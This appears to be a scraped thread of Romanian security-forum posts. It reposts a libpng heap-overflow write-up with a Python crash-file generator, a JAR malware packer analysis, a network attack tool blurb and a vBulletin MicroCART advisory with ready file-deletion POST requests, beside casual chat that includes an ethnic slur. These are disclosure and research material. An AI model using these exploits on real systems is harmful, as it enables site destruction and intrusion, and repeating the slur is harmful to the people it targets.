0xb6eb1fb0: b 0xb6ecdb28 0xb6eb1fb4: mov r12, r7 0xb6eb1fb8: mov r7, #174 ; 0xae 0xb6eb1fbc: svc 0x00000000 0xb6eb1fc0: mov r7, r12 (gdb) [/TD] [/TR] [/TABLE] 6. Remote debugging using IDA Pro: This is like gdbserver, but we should push android_server in the device machine. [TABLE] [TR] [TD=class: gutter]1[/TD] [TD=class: code]# adb push android_server /data [/TD] [/TR] [/TABLE] In IDA go to Debbugger ? Remote ARMLinux / Android server debugger, and set the host and the port with the path of the application. That’s all, we have described all the techniques. Moreover, I made this tutorial practical and as a reference for those of you who are interested. By Mohamed Ghannam|March 10th, 2014 Sursa: http://resources.infosecinstitute.com/guide-debugging-android-binaries/

Python videos. Multe. Link: http://pymust.watch/

Asta e ceva de bine. O sa dureze ceva sa va obisnuiti cu el, dar dupa un timp o sa vi se para ok.

libpng 1.6.15 heap overflow /********************************* * Alex Eubanks * * endeavor@rainbowsandpwnies.com * * libpng 1.6.15 heap overflow * * 18 December 2014 * *********************************/ /************* * A foreword * *************/ // this bug was found with american fuzzy lop! thanks lcamtuf! /* * We will trigger a call to zlib which will decompress data from an IDAT chunk * into a heap-buffer of 48 bytes. The size of this heap-buffer does not depend * on the amount of data we decompress into it. * * In some cases, like my case (programs are wonderful creations), this may * allow for a controlled write. * * My environment is * user@debian:~$ uname -a * Linux debian 3.2.0-4-686-pae #1 SMP Debian 3.2.63-2+deb7u2 i686 GNU/Linux * * Example code to trigger this overflow is available at the end of this post. * Simply set OVERFLOW_DATA to what you want to overflow the heap with. */ Program received signal SIGSEGV, Segmentation fault. 0xb7eb4f71 in ?? () from /lib/i386-linux-gnu/i686/cmov/libc.so.6 (gdb) x/i $pc => 0xb7eb4f71: movdqu %xmm0,(%esi) (gdb) i r esi esi 0x41414141 1094795585 (gdb) i r xmm0 xmm0 {v4_float = {0xc, 0xc, 0xc, 0xc}, v2_double = {0x228282, 0x228282}, v16_int8 = {0x41 <repeats 16 times>}, v8_int16 = {0x4141, 0x4141, 0x4141, 0x4141, 0x4141, 0x4141, 0x4141, 0x4141}, v4_int32 = {0x41414141, 0x41414141, 0x41414141, 0x41414141}, v2_int64 = {0x4141414141414141, 0x4141414141414141}, uint128 = 0x41414141414141414141414141414141} /*************** * The overflow * ***************/ # pngrutil.c :: png_read_IDAT_data :: line 4018 /* * At the time of this call, * png_ptr->zstream->avail_out = 0x20000000 * png_ptr->zstream->avail_in = size of our compressed IDAT data * png_ptr->zstream->next_in = our compressed IDAT data * png_ptr->zstream->next_out = a pointer to row_buf, 31 bytes in big_row_buf */ ret = inflate(&png_ptr->zstream, Z_NO_FLUSH); /******* * IHDR * *******/ [0-3] = png_ptr->width // 0x20000000 [4-7] = png_ptr->height // 0x00000020 [8] = png_ptr->bit_depth // 0x10 [9] = png_ptr->color_type // 0x06 [10] = png_ptr->compression_type // 0x00 [11] = png_ptr->filter_type // 0x00 [12] = png_ptr->interlace_type // 0x01 /********************* * png_read_IDAT_data * *********************/ # pngrutil.c :: png_read_IDAT_data :: line 3941 void /* PRIVATE */ png_read_IDAT_data(png_structrp png_ptr, png_bytep output, png_alloc_size_t avail_out) / * png_bytep output * \-> a buffer to decompress the IDAT data into * png_alloc_size_t avail_out * \-> The size of output in bytes */ # pngrutil.c :: png_read_IDAT_data :: line 3984 buffer = png_read_buffer(png_ptr, avail_in, 0/*error*/); # pngrutil.c :: png_read_IDAT_data :: line 3989 png_ptr->zstream.next_in = buffer; # pngrutil.c :: png_read_IDAT_data :: line 3946 png_ptr->zstream.next_out = output; # pngrutil.c :: png_read_IDAT_data :: line 4002 png_ptr->zstream.avail_out = out; pngrutil.c :: png_read_IDAT_data :: line 4018 ret = inflate(&png_ptr->zstream, Z_NO_FLUSH); /********************************* * The call to png_read_IDAT_data * *********************************/ # pngread.c :: png_read_row :: line 534 png_read_IDAT_data(png_ptr, png_ptr->row_buf, row_info.rowbytes + 1); # pngrutil.c :: png_read_IDAT_data :: line 3941 void /* PRIVATE */ png_read_IDAT_data(png_structrp png_ptr, png_bytep output, png_alloc_size_t avail_out) /***************************** * deriving row_info.rowbytes * *****************************/ # pngread.c :: png_read_row :: line 397 row_info.rowbytes = PNG_ROWBYTES(row_info.pixel_depth, row_info.width); /************************************ * deriving row_info.rowbytes * * \-> deriving row_info.pixel_depth * ************************************/ # pngread.c :: png_read_row :: line 396 row_info.pixel_depth = png_ptr->pixel_depth; // row_info.pixel_depth is set in png_handle_IHDR # pngrutil.c :: png_handle_IHDR :: line 855 png_ptr->pixel_depth = (png_byte)(png_ptr->bit_depth * png_ptr->channels); // where png_ptr->bit_depth = IHDR[8], or 0x10 // channels is set by the following logic based off // IHDR->color_type, or 0x6 if (color_type == PNG_COLOR_TYPE_RGB) // 2 png_ptr->channels = 3 else if (color_type == PNG_COLOR_TYPE_GRAY_ALPHA) // 4 png_ptr->channels = 2 else if (color_type == PNG_COLOR_TYPE_RGB_ALPHA) // 6 png_ptr->channels = 4 else png_ptr->channels = 1 // row_info.pixel_depth = 0x10 * 4 /************************************ * deriving row_info.rowbytes * * \-> deriving row_info.width * ************************************/ # pngread.c :: png_read_row :: line 392 row_info.width = png_ptr->iwidth; /* NOTE: width of current interlaced row */ // png_ptr->iwidth is set in png_read_start_row // cliff notes here are, during the first interlace pass, width will be // divided by 8, so 0x20000000 becomes 0x4000000 // actual computation is ((0x20000000 + 8 - 1 - 0) / 8) # pngrutil.c :: png_read_start_row :: line 4217 png_ptr->iwidth = (png_ptr->width + // png_ptr->width = 0x20000000 png_pass_inc[png_ptr->pass] - 1 - png_pass_start[png_ptr->pass]) / png_pass_inc[png_ptr->pass]; // png_ptr->iwidth = 0x4000000 // back to our original call for row_info.rowbytes # pngread.c :: png_read_row :: line 397 row_info.rowbytes = PNG_ROWBYTES(row_info.pixel_depth, row_info.width); # pngpriv.h :: line 659 /* Added to libpng-1.2.6 JB */ #define PNG_ROWBYTES(pixel_bits, width) \ ((pixel_bits) >= 8 ? \ ((png_size_t)(width) * (((png_size_t)(pixel_bits)) >> 3)) : \ (( ((png_size_t)(width) * ((png_size_t)(pixel_bits))) + 7) >> 3) ) // row_info.rowbytes = 0x4000000 * ((64) >> 3) = 0x20000000 // row_info.rowbytes = 0x20000000 /**************************** * deriving png_ptr->row_buf * ****************************/ # pngstruct.h :: line 225 // inside struct png_struct_def, which is png_ptr png_bytep row_buf; /* buffer to save current (unfiltered) row. * This is a pointer into big_row_buf */ # pngrutil.c :: png_read_start_row :: line 4403 png_ptr->big_row_buf = (png_bytep)png_malloc(png_ptr, row_bytes + 48); // there are a couple #ifdef cases for png_ptr->row_buf to be set from, // but this summarizes nicely # pngrutil.c :: png_read_start_row :: line 4427 png_ptr->row_buf = png_ptr->big_row_buf + 31; /**************************** * deriving png_ptr->row_buf * * \-> deriving row_bytes * ****************************/ # pngrutil :: png_read_start_row :: line 4427 row_bytes = ((png_ptr->width + 7) & ~((png_uint_32)7)); /* Calculate the maximum bytes needed, adding a byte and a pixel * for safety's sake */ row_bytes = PNG_ROWBYTES(max_pixel_depth, row_bytes) + 1 + ((max_pixel_depth + 7) >> 3); // cliff notes, based on our IHDR color_type being // PNG_COLOR_TYPE_RGB_ALPHA, max_pixel_depth = 64 row_bytes = 0x20000000 * (64 >> 3) = 0; // this makes the size of the malloc call to png_malloc 48, which means // malloc doesn't fail, returns valid pointer into the heap // png_ptr->big_row_buf = png_malloc(png_ptr, 48) ################## # HAPPY FUN CODE # ################## import zlib import struct import sys OVERFLOW_DATA = 'A' * 4096 IDAT_DATA = zlib.compress(OVERFLOW_DATA) IDAT_SIZE = struct.pack('>i', len(IDAT_DATA)) IDAT_CRC32 = struct.pack('>i', zlib.crc32('IDAT' + IDAT_DATA)) HEADER = '\x89\x50\x4e\x47\x0d\x0a\x1a\x0a' IHDR = '\x00\x00\x00\x0d\x49\x48\x44\x52\x20\x00\x00\x00\x00\x00\x00\x20\x10\x06\x00\x00\x01\xa8\xce\xde\x04' IDAT = IDAT_SIZE + 'IDAT' + IDAT_DATA + IDAT_CRC32 IEND = '\x00\x00\x00\x00\x49\x45\x4e\x44' sys.stdout.write(HEADER + IHDR + IDAT + IEND) Sursa: http://tfpwn.com/files/libpng_heap_overflow_1.6.15.txt

[h=3]Analysis of a JAR Obfuscated Malware Packer[/h] by Ruhai Zhang | December 01, 2014 | Category: Security Research Normal Java JAR or class format samples can be easily analyzed with Java decompiler tools, such as JAD and JD-GUI. Not so with those obfuscated ones, where decompiling results may be empty or not clear. When this happens, we need to then analyze the JVM (Java Virtual Machine) p-code. Nowadays, more and more Java malware use anti-decompiling techniques to increase the difficulty of analysis. In this blog post, we will analyze a new JAR obfuscated packer that is being used by Java malware, using a sample that we detect as Java/Obfus.CI!tr as an example. [h=3]Decompiling the JAR Malware Sample[/h] This JAR sample has the following layout: Figure 1. JAR sample layout The main class defined in MANIFEST.MF is stub.EcryptedWrapper; the file stub.dll contains encrypted or compressed data. Using JD-GUI to decompile this sample, we can only see empty classes. Using JAD, we can get the result, but most of the classes are in JVM p-code. In the decompiled results from JAD, there are a large number of System.out.println() junk codes. After removing all of them, the flow is a little bit clearer. Many strings are still encrypted, but we can then locate and analyze the decrypting methods. EncryptedLoader.ALLATORIxDEMOxpalksksdqwdqbgnhmtyter("") EncryptedLoaderOld.ALLATORIxDEMOxpalksksdqwdqbgnhmtyter("") These two methods have the same algorithm (shown in Figure 2) but just use different parameters. Figure 2. String decoder loop. [h=3]Decrypting the String[/h] Based on the algorithm in Figure 2, we can use the following Python function to decrypt the strings: def decoder(enc_str, key_str, key1, key2): klen = len(key_str) kidx = klen - 1 elen = len(enc_str) eidx = elen - 1 olist = [''] * elen while eidx >= 0: olist[eidx] = chr(ord(key_str[kidx]) ^ ord(enc_str[eidx]) ^ key1) eidx -= 1 if eidx >= 0: olist[eidx] = chr(ord(key_str[kidx]) ^ ord(enc_str[eidx]) ^ key2) eidx -= 1 kidx -= 1 if kidx < 0: kidx = klen - 1 return ''.join(olist) The three parameters key_str, key1, and key2 are as follows: EncryptedLoader: <class_name>+<method_name>, 0x52, 0x5A EncryptedLoaderOld: <method_name>+<class_name>, 0x2F, 0x55 After replacing all the encrypted strings, the flow is quite clear. The following is a simplified flow of the main class EcryptedWrapper. public class EcryptedWrapper implements Runnable { private EncryptedLoaderOld loader_old; public void run() { Class cls = loader_old.loadClass('Start'); cls.getMethod('main').invoke(); } public EcryptedWrapper() { EncryptedLoader loader = new EncryptedLoader(); loader.load(); //load and decrypt stub.dll loader_old = new EncryptedLoaderOld(loader.getClasses(), loader.getResources()); } public static void main(String args[]) { EcryptedWrapper wrapper = new EcryptedWrapper(); (new Thread(wrapper)).start(); } } [h=3]Decrypting stub.dll[/h] Based on the decompiling result of EncryptedLoader.class, the file stub.dll can be decrypted with the following Python function: from Crypto.Cipher import AES def decrypt_jar(fname): fp_in = open(fname, 'rb') fp_out = open(fname+'_', 'wb') key = '0B4wCrd5N2OxG93h' cipher = AES.new(key) fp_out.write(cipher.decrypt(fp_in.read())) fp_in.close() fp_out.close() The decrypted result is a friendly JAR file which can be decompiled by JD-GUI. Its main class in MANIFEST.MF is Start, as shown in the run() method of EcryptedWrapper. Our initial analysis shows that it is a multiplatform RAT. [h=3]Conclusion[/h] As we have seen, Java malware have continued to evolve in order to make analysis more difficult by adding an obfuscation packer. We have already added detection for several Java malware that use this kind packer and will continue to keep our eyes open for new techniques that may emerge in the days ahead. by Ruhai Zhang | December 01, 2014 Sursa: Analysis of a JAR Obfuscated Malware Packer | Fortinet Blog

In mare e ok, DAR eu am avut probleme cu Camera si din aceasta cauza l-am abandonat. Mai exact, daca tii apasat sa faci poza (asteptand sa se puna focusul) se blocheaza si apoi nu mai poti face poza. Mai era dubios ca nu am gasit un meniu accesibil de unde sa pun telefonul pe Silent iar "Alarm clock" l-am descoperit din greseala dupa o saptamana E interesant, alt design + aplicatii de la dezvoltatori care iti permit sa dai Deny cand o aplicatie cere drepturi de Location de exemplu. Nota: Din cauza problemelor cu Camera m-am intors la 4.4.2, dar merita "descoperit" Lollipop asta. Daca aveti timp puteti sa va jucati cu el.

Lydecker Black on 7:44 PM Zarp is a network attack tool centered around the exploitation of local networks. This does not include system exploitation, but rather abusing networking protocols and stacks to take over, infiltrate, and knock out. Sessions can be managed to quickly poison and sniff multiple systems at once, dumping sensitive information automatically or to the attacker directly. Various sniffers are included to automatically parse usernames and passwords from various protocols, as well as view HTTP traffic and more. DoS attacks are included to knock out various systems and applications. These tools open up the possibility for very complex attack scenarios on live networks quickly, cleanly, and quietly. The long-term goal of zarp is to become the master command center of a network; to provide a modular, well-defined framework that provides a powerful overview and in-depth analysis of an entire network. This will come to light with the future inclusion of a web application front-end, which acts as the television screen, whereas the CLI interface will be the remote. This will provide network topology reports, host relationships, and more. zarp aims to be your window into the potential exploitability of a network and its hosts, not an exploitation platform itself; it is the manipulation of relationships and trust felt within local intranets. Look for zeb, the web-app frontend to zarp, sometime in the future. Tool Overview Broad categories are (see wiki for more information on these): Poisoners Denial of Service Sniffers Scanners Services Parameter Attacks List of modules accessible from the command line: bryan@debdev:~/tools/zarp$ sudo ./zarp.py --help [!] Loaded 34 modules. ____ __ ____ ____ (__ ) / _\ ( _ \( _ ' / _/ / \ ) / ) __/ (____)\_/\_/(__\_)(__) [Version: 0.1.5] usage: zarp.py [-h] [-q FILTER] [--update] [--wap] [--ftp] [--http] [--smb] [--ssh] [--telnet] [-w] [-s] [--service-scan] optional arguments: -h, --help show this help message and exit -q FILTER Generic network sniff --update Update Zarp Services: --wap Wireless access point --ftp FTP server --http HTTP Server --smb SMB Service --ssh SSH Server --telnet Telnet server Scanners: -w Wireless AP Scan -s Network scanner --service-scan Service scanner bryan@debdev:~/tools/zarp$ Download Zarp Sursa: Zarp - Local Network Attack Framework | KitPloit - PenTest Tools for your Security Arsenal!

[h=2]How to install Android 5.0.1 Lollipop on Samsung Galaxy S4[/h]Ionut Popescu With the new release of Android 5.0.1 Lollipop, we wanted to explore its new features and security enhancements. However, since this version of Android is officially limited to Nexus phones, we had to install it on a device that we own – Samsung Galaxy S4. This is a step by step tutorial on how to install Android 5.0.1 on Samsung Galaxy S4 (including rooting instructions). [h=2]You must have:[/h] a Samsung Galaxy S4 (with enough battery) a microSD card (at least 1 GB if you don’t backup data to microSD) a microUSB cable [h=2]Disclaimer:[/h] We are not responsible for any bricked device which may come up after these instructions We are not responsible for any bugs in Android 5.0.1 (GPS, alarm clock…) We are not responsible for losing your data (backup your data first) Articol complet: How to install Android 5.0.1 Lollipop on Samsung Galaxy S4 – Security Café

Nu e bug: https://rstforums.com/forum/members/nytro/ Ca face redirect pentru alt link e altceva. Apare pe undeva acel link?

E scrisa de un indian - e un jeg. DAR pentru incepatori e foarte buna. Contine multe informatii de baza utile. Bine, cica sa folosesti "Andry IP scanner"... Sa scrii asta intr-o carte de "hacking"... Sa ii dea cineva cu lopata in cap tiganului care a scris-o, mai ales ca in mod normal vrea bani pentru porcaria asta. Nota: Nu ii suport pe indieni si parerea mea "poate" fi subiectiva.

Nu IL in assembly. IL in bytecode de IL. IL opcodes. Interpretorul de MSIL nu are de-a face cu ASM (-ul clasic). El citeste opcode-urile de MSIL Adica: call void [mscorlib]System.Console::Write (string) Poate sa fie 0xFF 0x11223344 unde 0xFF == call si 0x11223344 sa fie adresa functiei. Cautai putin dar nu gasii documentatie legata de asa ceva. Dar probabil sunt tool-uri care te ajuta, MSIL decompiler, .NET reflector, de genul acesta. Nu stiu pentru ca nu le-am incercat dar verifica daca au optiune sa iti arate bytecode. Edit: Write MSIL Code on the Fly with the .NET Framework Profiling API Edit: CLR Injection: Runtime Method Replacer - CodeProject

E nasol cu template hook-urile. Am incercat sa il mut, dar nu mai e generat continutul. Nu am timp sa ma uit sa vad care e problema. Cu Copy/Paste la HTML merge, dar cand copiez codul din template care le genereaza... Nu le mai genereaza. Nu stiu exact de ce, banuiesc ca vrea si el anumite clase si ID-uri si nu pot sa le pastrez, deocamdata. Cand mai am timp o sa ma mai uit.

[h=1]vBulletin MicroCART 1.1.4 - Arbitrary File(s) Deletion, SQL Injection & XSS[/h] # Exploit Title: vBulletin MicroCART 1.1.4 - Arbitrary File(s) Deletion, SQL Injection & XSS # Date: January 8, 2015 # Exploit Author: Technidev (https://technidev.com) # Vendor Homepage: https://vbulletin.com # Software Link: http://www.vbulletin.org/forum/showthread.php?t=256723 # Version: 1.1.4 This plugin is fairly old but still used by a lot of people and received its last update nearly 4 years ago. It’s vulnerable to arbitrary file deletion and SQL injection. *Arbitrary File(s) Deletion* In /microcart/editor/assetmanager/ are a bunch of files which are probably used to manage files/folders for the administrator, unfortunately no authentication and checks were added to see if the user should have access to it and if the request doesn’t contain anything malicious. The /microcart/editor/assetmanager/folderdel_.php file contains the following on top: $sMsg = ""; if(isset($_POST["inpCurrFolder"])) { $sDestination = pathinfo($_POST["inpCurrFolder"]); //DELETE ALL FILES IF FOLDER NOT EMPTY $dir = $_POST["inpCurrFolder"]; $handle = opendir($dir); while($file = readdir($handle)) if($file != "." && $file != "..") unlink($dir . "/" . $file); closedir($handle); if(rmdir($_POST["inpCurrFolder"])==0) $sMsg = ""; else $sMsg = "<script>document.write(getTxt('Folder deleted.'))</script>"; } By simply sending a POST request to this file, we can delete every single file in specified folder. POST to: /microcart/editor/assetmanager/folderdel_.php POST data: inpCurrFolder: ../../../ This POST request will delete every single .php file in the root folder of vBulletin. *Arbitrary File Deletion* There’s another vulnerability which resides in the /microcart/editor/assetmanager/assetmanager.php file. It contains an upload function, which is safe, and a file deletion function, which is not safe. We can delete any file off the server by abusing this. So unlike the previous vulnerability I just wrote which deletes all files by sending a POST request with a folder value, this will only delete 1 file off the server. Vulnerable code: if(isset($_POST["inpFileToDelete"])) { $filename=pathinfo($_POST["inpFileToDelete"]); $filename=$filename['basename']; if($filename!="") unlink($currFolder . "/" . $filename); $sMsg = ""; } Exploited by sending the following request: POST to: /microcart/editor/assetmanager/assetmanager.php POST data: inpCurrFolder: ../../../ inpFileToDelete: index.php This will delete the /index.php file of vBulletin, in the root. *Aribtrary Folder Creation* Besides the file deletion, there’s a file called /microcart/editor/assetmanager/foldernew.php which created a 0755 chmodded folder on the server. The file contains the following on top: $sMsg = ""; if(isset($_POST["inpNewFolderName"])) { $sFolder = $_POST["inpCurrFolder"]."/".$_POST["inpNewFolderName"]; if(is_dir($sFolder)==1) {//folder already exist $sMsg = "<script>document.write(getTxt('Folder already exists.'))</script>"; } else { //if(mkdir($sFolder)) if(mkdir($sFolder,0755)) $sMsg = "<script>document.write(getTxt('Folder created.'))</script>"; else $sMsg = "<script>document.write(getTxt('Invalid input.'))</script>"; } } By sending the following POST request, we will create a folder with 0755 chmodded permission. POST to: /microcart/editor/assetmanager/foldernew.php POST data: inpNewFolderName: davewashere inpCurrFolder: ../../.. This POST request will create the folder davewashere in the root of the vBulletin forum. *SQL Injection* MicroCART is also vulnerable to SQL injection at several locations although most of them are rather hard to abuse. I will not explain how to exploit it, but the vulnerability can be found at /cart.php line 833 to 881 and the function where you can add products to your shopping cart, at around line 1251 to 1328 where $_POST[‘fields’] is assigned to the configuration variable which is later used in a query. *Cross Site Scripting* When modifying your information at /cart.php?do=cpanel, you can inject anything you want into the fields. Viewing reviews of products may be vulnerable as well when you leave out the wysiwyg POST key. Sursa: vBulletin MicroCART 1.1.4 - Arbitrary File(s) Deletion, SQL Injection & XSS

1. MSIL disassembly 2. Vezi bytecode pentru invoke 3. Pune un jmp din MSIL (banuiesc ca exista un echivalent) 4. Functia ta sa preia argumentele (stack?) 5. Restore original bytes (ca la hook obisnuit) 6. Restaurezi bytes In fine, sa faci echivalentul unui hook din C++. Sfaturi: 1. Invata MSIL 2. Invata bytecode MSIL

Asta: Moles - Isolation framework for .NET - Microsoft Research ? Poate te ajuta: - MethodLogger - Hook into method calls in .NET binaries - CodeProject - PostSharp – We Make .NET Languages Stronger - Smart Unit Testing - Made easy with Typemock - .NET CLR Injection: Modify IL Code during Run-time - CodeProject Note: Nu am citit prea multe despre ele dar mi se pare un subiect interesant si o sa aflu mai multe zilele astea.

Am resetat (adica sters) toate like-urile si dislike-urile. In plus, acum nu mai conteaza deloc un Like si un Dislike la reputatie. Adica puteti sa dati cate Like-uri si Dislike-uri vreti, nu o sa incante pe nimeni. Daca exagerati cu Dislike-urile, o sa pun sa nu mai fie afisate. Have fun.

Nu incape grasu' pe 100Mb Ia: Switch Cisco Systems, SG100D-08-EU, 8-Port Gigabit - eMAG.ro

Sunt selectate automat si probabil random de catre plugin.